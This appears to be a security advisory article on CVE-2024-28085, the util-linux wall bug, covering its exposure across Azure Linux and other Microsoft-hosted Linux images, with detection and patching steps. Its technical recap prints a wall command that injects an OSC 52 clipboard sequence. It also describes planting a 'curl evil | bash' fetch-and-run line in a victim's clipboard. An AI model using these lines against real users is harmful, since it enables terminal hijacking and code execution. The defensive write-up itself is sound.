CVE-2024-28085: Widespread util-linux wall risk across Azure Linux and Microsoft services

Microsoft’s advisory that Azure Linux includes the vulnerable util‑linux library is accurate — but it is not the whole story: the wall (broadcast) bug tracked as CVE‑2024‑28085 is a library / utility flaw that is present in the standard util‑linux packages used across virtually every mainstream Linux distribution, and accordingly any Microsoft product or service that ships or runs an affected distribution or image can potentially include the vulnerable binary unless it has been patched or hardened. This means Azure Linux is one clearly enumerated Microsoft-managed offering that contains util‑linux, but it is not the only Microsoft surface where the library can appear in practice — and customers should treat the issue as broadly relevant to Linux workloads across Microsoft’s cloud and developer platforms until each service is confirmed updated.

Background / Overview​

CVE‑2024‑28085 targets the classic wall utility distributed as part of the util‑linux suite. The bug is straightforward: when wall is installed with the traditional setgid tty privilege and accepts a message passed on the command line (argv), it does not filter terminal escape sequences in argv the same way it filters sequences read from stdin. That asymmetry makes it possible for a local, non‑privileged user to instruct wall to write crafted ANSI/OSC escape sequences to other users’ ttys — for example sequences that set window titles or manipulate clipboard contents via OSC 52 — and under certain terminal behaviors and user actions this can lead to information disclosure or enable social‑engineering chains that result in account takeover.
The behaviour and impact were publicly disclosed in March 2024, and multiple distribution vendors issued fixes or mitigations shortly thereafter. The most robust upstream remediation changed how wall/write are installed (removing the setgid tty bit in many vendor updates) and applied filtering fixes in subsequent util‑linux releases. However, because util‑linux is a ubiquitous, core distribution package, the risk surface includes any product or service that ships, images, or runs Linux distributions derived from vendors that initially shipped affected util‑linux versions.

---

What the vulnerability actually does — a technical recap​

• wall is intended to broadcast text to logged in users’ terminals. To allow broadcasts to ttys owned by other users, many distributions historically install wall as setgid tty, which grants it the ability to write to other users’ terminal devices.
• When wall reads message text from stdin, it passes that text through a filtering routine that neutralizes potentially dangerous escape sequences. Those filters produce visible escapes like ^[[33m rather than allowing terminal control sequences to reach recipients.
• The bug is that the argv code path (messages provided on the command line) bypassed the same sanitization. That difference lets an attacker craft a command such as:
• wall $(printf '\033]52;c;BASE64DATA\a')
• which injects an OSC 52 sequence into recipients’ terminals, causing some terminal emulators to set the clipboard to the provided Base64 data.
• Attack scenarios focus on chaining this capability with user behaviour or terminal features: if an attacker overwrites a victim’s clipboard with a command like curl evil | bash, and the victim pastes from their clipboard into a terminal window and executes it, the attacker has achieved remote code execution without exploiting a memory bug. While this is not a universal or trivially‑automated takeover in all environments, the combination of privileged write access to other ttys plus the clipboard or auto‑paste behaviors in some terminals creates plausible avenues for compromise.

---

How the community and vendors responded​

• Upstream util‑linux changes and vendor security notices were released quickly after public disclosure. The pragmatic, cross‑vendor response included:
• Patches to util‑linux code to harden argument handling.
• In several vendor updates the maintainers removed the setgid tty bit from wall and write to remove the privileged write capability entirely on installed systems, eliminating the threat vector for typical multiuser systems.
• Major distributions released advisories and package updates: Debian, Ubuntu, SUSE, Red Hat‑derived distributions and others published security notices and updated util‑linux packages. Some initial vendor patches were later followed by additional fixes because the first update did not fully neutralize all attack paths; as a result, vendors issued follow‑up updates and pushed packages that either incorporated full sanitization or removed the setgid bit.

---

Why this matters to Azure Linux customers — and why it also matters beyond Azure Linux​

Microsoft’s public statement naming Azure Linux as an included product is important: Azure Linux is Microsoft’s in‑house maintained Linux distribution image that Microsoft curates and patches for customers who choose that SKU. Microsoft’s commitment to keep Azure Linux packages up to date means Azure Linux images should receive the util‑linux update or a mitigation such as removing the setgid bit.
But a few facts expand the impact beyond a single Microsoft SKU:

• util‑linux is a core package present in almost every mainstream Linux distribution. When a product or service runs an Ubuntu, Debian, CentOS, openSUSE, or similar image, it almost certainly contains util‑linux unless the vendor intentionally stripped core system utilities.
• Microsoft operates or hosts other Linux‑based offerings beyond Azure Linux:
• GitHub Actions and Azure Pipelines both use build/runner VM images that are based on Ubuntu or other Linux distributions maintained in Microsoft’s runner images repository. Those VM images, unless rebuilt to include patched util‑linux, may contain the vulnerability.
• Azure’s managed node images (for example, node images used by Azure Kubernetes Service or Azure VM marketplace images) originate from distribution base images and can include util‑linux unless patched; Microsoft’s own node image catalogs and documentation show Azure uses and publishes specific node images and OS SKUs.
• In short: any Microsoft‑hosted service that runs Linux images or ships a Linux distribution image can potentially include util‑linux and therefore could be affected, depending on the image version and whether it has received vendor patches or local mitigations.

This means the correct customer posture is not to assume only the named Azure Linux product is affected; instead, customers should assume that any Microsoft‑hosted Linux image or service that runs unpatched distribution packages might contain the vulnerable util‑linux until Microsoft confirms patching across that service’s images.

---

Which Microsoft surfaces are plausible candidates for exposure?​

Below are Microsoft offerings and operational surfaces where util‑linux commonly appears; each entry summarizes the plausible exposure and practical realities.

• Azure Marketplace VM Images and Platform Images
• When you boot an Azure VM from an Ubuntu, Debian, CentOS or Azure Linux image, the image’s root filesystem contains util‑linux. If the installed util‑linux package is an affected version and wall is installed setgid tty, that VM is potentially vulnerable for local attackers or for multi‑user environments hosted on that VM.
• Microsoft’s Azure Marketplace also offers third‑party images; those are even more likely to contain upstream util‑linux unless the publisher patched it.
• Azure Kubernetes Service (AKS) / node images
• Node images used by AKS are published by Microsoft and are frequently a trimmed Linux image. If node images include an older util‑linux package, pods or processes that share the node’s host namespaces in an unusual configuration might create attack vectors. Microsoft documents vulnerability management for AKS node images, and customers should confirm their node images are updated or replaced.
• GitHub Actions (GitHub‑hosted runners)
• GitHub’s public runner image project shows the platform builds and publishes Ubuntu and other images that are used by GitHub‑hosted runners and by Microsoft‑hosted agents for Azure Pipelines. Those images are standard Ubuntu snapshots and include canonical core packages — which normally include util‑linux. In practice, GitHub and Microsoft operate a weekly image update cadence; whether any particular runner instance had been updated at the moment of disclosure depends on the image release schedule.
• Azure DevOps (Microsoft‑hosted agents)
• Azure DevOps hosted agents are driven by the same runner images repository. They are therefore in the same general risk category as GitHub Actions runners.
• Any other Microsoft service that uses Linux base images for customer workloads (for example, container registry images, container hosts, Function/Serverless base images)
• If Microsoft supplies a base image or runtime image that includes util‑linux and that image is unpatched, the image in use is potentially affected.

Note: in many of the above platforms the attack model matters — the vulnerability requires a local user who can run wall on a system where other users’ terminals are available and mesg is enabled. Multi‑tenant isolation design and ephemeral host models modify the real risk. For example, ephemeral single‑job runner VM designs or strict tenant isolation for managed services can make practical exploitation more difficult. Nonetheless, the presence of the vulnerable binary in an image is a red flag that demands remediation.

---

Practical guidance for operators and Microsoft customers​

If you run Linux workloads on Microsoft platforms — especially on Azure VMs, AKS, GitHub Actions, or Azure DevOps hosted agents — treat the situation as follows.
Immediate detection steps

• Check util‑linux package version on machines/images:
• On Debian/Ubuntu: dpkg -l util-linux
• On RPM systems: rpm -q util‑linux (or util-linux-ng depending on vendor)
• Check whether wall or write are installed with the setgid tty bit:
• ls -l /usr/bin/wall /usr/bin/write
• If mode shows something like -rwxr‑s‑r‑x (note the 's' for setgid) then the binary can write other users’ ttys.
• Verify the mesg setting on target accounts:
• Run mesg to see if users permit write access.
• If mesg is off (mesg n), terminals will refuse wall/write output, reducing exposure.

Immediate mitigation options

• Patch the util‑linux package to a version that contains the upstream fix (util‑linux 2.40 or vendor backports depending on your distro).
• If a package update is not immediately available, remove the setgid bit from wall and write as an immediate hardening step:
• chmod g‑s /usr/bin/wall /usr/bin/write
• Consider disabling or removing wall altogether on hosts that do not need broad terminal broadcast capabilities:
• apt remove/util-linux‑package‑subcomponent or rpm erase or simply rename /usr/bin/wall to prevent its use.
• For CI/CD hosted runners and shared hosts:
• Ensure hosted runner images have received the updated package.
• For self‑hosted runners, patch the host OS and remove setgid bits if appropriate.

Longer‑term recommendations

• Audit all base images and container images you use on Microsoft platforms for util‑linux version and permissions.
• For multiuser hosts (bastion/jump servers, developer sandboxes), restrict use of wall to administrators or consider system policies that prevent unprivileged use.
• If you rely on Microsoft‑provided images (Azure Linux, marketplace images, or GitHub runner images), subscribe to vendor security advisories and confirm patch windows and remediation timelines.

---

On the plausibility of “account takeover” and real world risk​

The phrase “account takeover” in the CVE description is a conservative recognition that in plausible chaining scenarios an attacker could manipulate a victim’s terminal in a way that ultimately leads to credential or code execution compromise.
Important nuances:

• The wall bug by itself is not a remote code execution memory corruption — the immediate technical effect is outputting control sequences to another user’s terminal.
• Real exploitation generally requires:
• The victim’s terminal/SSH client supports the particular escape sequence (for example OSC 52 for clipboard).
• The victim performs an action (such as pasting from clipboard, or relying on an emulation behavior that executes pasted content).
• Or the attacker couples this with another weakness (terminal vulnerabilities, automated paste behaviors, or social engineering).
• Many modern terminal emulators restrict clipboard writes or require explicit user consent; others still accept OSC 52 if enabled. Because terminal behaviors vary widely, successful exploitation is environment‑specific.
• For this reason, vendors treated the vulnerability seriously and applied pragmatic mitigations (package updates and removal of setgid bits) rather than classifying it as an immediate remote exploit across all environments.

In short: the risk is real and credible in specific configurations, but it is not a universal one‑step remote takeover in the way a kernel remote code execution would be. Operators should patch promptly and take short‑term hardening steps.

---

What Microsoft has said — and what remains to be verified​

Microsoft’s public advisory explicitly listed Azure Linux as a product that includes util‑linux and therefore could be impacted, and Microsoft committed to transparency and to updating CVE information if additional affected Microsoft products are identified.
A careful reading of Microsoft’s disclosure and broader vendor notices leads to two responsible conclusions:

• Microsoft has correctly identified Azure Linux as a Microsoft‑maintained Linux distro that includes util‑linux and therefore needed attention.
• Microsoft’s phrasing — that it will update the CVE if additional impacted products are identified — implicitly recognizes that Microsoft operates numerous services that host or run Linux images; some of those services can and do include util‑linux indirectly (for example, GitHub Actions runner images and Microsoft‑hosted build agents), and these services require separate verification and/or patching.

I was not able to locate a single Microsoft statement claiming no other Microsoft product includes util‑linux; instead the public messages single out Azure Linux and promise updates if other products are affected. Given Microsoft’s footprint across cloud images, container hosts, and hosted build runners, customers should assume broader presence until Microsoft publishes a service‑by‑service confirmation.

---

Recommendations for Microsoft and for customers using Microsoft services​

For Microsoft (operator guidance)

• Proactively enumerate all Microsoft‑managed images and hosted runner images (GitHub Actions / Azure Pipelines) that are built from Linux distributions and confirm package versions.
• Ensure the fix is present in image build pipelines and that the setgid bit is removed from wall/write on images where the broadcast utility is unnecessary.
• Publish a concise, service‑by‑service statement listing which Microsoft‑hosted images or services were patched and the dates/versions of the patched util‑linux package to enable customer validation.
• For ephemeral runner fleets, ensure image rotation is completed quickly and announce progress.

For customers

• Treat any Microsoft‑hosted Linux runtime (VM images, AKS node images, GitHub Actions runners) as potentially affected until you can verify the util‑linux package version or confirm Microsoft’s patch status for that service.
• If you manage your own runner hosts or self‑hosted agents, patch immediately and consider removing the setgid bit from wall/write as an interim mitigation.
• Audit shared, multiuser hosts (developer boxes, jump servers) for setgid wall/write and disable mesg for non‑interactive users.
• Update container base images and re‑build artifacts that embed util‑linux to pick up patched package versions.

---

Final analysis — what to take away​

• CVE‑2024‑28085 is a real and credible local privilege/abuse path: it leverages the combination of setgid‑installed messaging utilities plus insufficient filtering on argv input to reach other users’ terminals with control sequences.
• The fix is straightforward at the distribution level (package update or removal of setgid bit) and vendors moved quickly; however, the pervasive nature of util‑linux means the presence of the vulnerable binary is widespread across distributions and images.
• Microsoft’s explicit identification of Azure Linux is correct and helpful, but it is not proof that Azure Linux is the only Microsoft product that includes util‑linux. Microsoft should — and typically does — update advisory sections as service‑by‑service assessments complete; customers must actively verify the images and services they use.
• The prudent posture for customers is: verify util‑linux versions on every Microsoft‑hosted image you depend on (VMs, container nodes, hosted runners), apply vendor updates or do the temporary hardening, and watch for Microsoft service advisories that enumerate the exact remediation status for GitHub Actions, Azure Pipelines hosted agents, AKS node images, and Azure Marketplace images.

Patch quickly, remove unnecessary privileges (the setgid bit), and audit multi‑user services: those three actions will materially reduce the risk posed by this issue on Microsoft platforms and elsewhere.

---

Source: MSRC Security Update Guide - Microsoft Security Response Center